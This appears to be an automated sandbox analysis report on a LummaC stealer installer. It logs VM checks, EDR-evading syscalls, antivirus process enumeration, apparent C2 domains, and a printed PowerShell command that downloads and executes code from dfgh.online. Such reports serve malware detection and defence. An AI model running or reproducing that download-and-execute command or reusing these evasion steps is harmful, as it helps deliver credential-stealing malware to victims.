Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\setup.exe TID: 7388	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep count: 5519 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 4310 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1900295071.000000000091A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2085467955.000000000091A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWEFn
Source: setup.exe, 00000000.00000002.2078744236.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: powershell.exe, 00000004.00000002.2025410025.0000000007B00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	Binary or memory string: puQEMus
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000002.2117698700.000000000146C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Ven_NECVMWar&Prod_VMware_SATA_CD00#4&22
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000002.2117698700.000000000143C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}~^g
Source: powershell.exe, 00000004.00000002.2025410025.0000000007ACD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VallSecurityFMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: powershell.exe, 00000004.00000002.2025410025.0000000007ACD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Fule.cmdletDeMSFT_NetEventVmNetworkAdatper.cdxml
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B03B0 mov edx, dword ptr fs:[00000030h]	0_2_007B03B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B0970 mov eax, dword ptr fs:[00000030h]	0_2_007B0970
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B0D20 mov eax, dword ptr fs:[00000030h]	0_2_007B0D20
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B0FC0 mov eax, dword ptr fs:[00000030h]	0_2_007B0FC0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B0FBF mov eax, dword ptr fs:[00000030h]	0_2_007B0FBF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

LummaC encrypted strings found

Source: setup.exe	String found in binary or memory: rebuildeso.buzz
Source: setup.exe	String found in binary or memory: prisonyfork.buzz
Source: setup.exe	String found in binary or memory: learningypr.click
Source: setup.exe	String found in binary or memory: hummskitnj.buzz
Source: setup.exe	String found in binary or memory: cashfuzysao.buzz
Source: setup.exe	String found in binary or memory: appliacnesot.buzz
Source: setup.exe	String found in binary or memory: screwamusresz.buzz
Source: setup.exe	String found in binary or memory: inherineau.buzz
Source: setup.exe	String found in binary or memory: scentniej.buzz

Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; ?
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; ?			Jump to behavior

Source: setup.exe	Binary or memory string: ProgMan
Source: BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: setup.exe	Binary or memory string: ProgManU
Source: BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
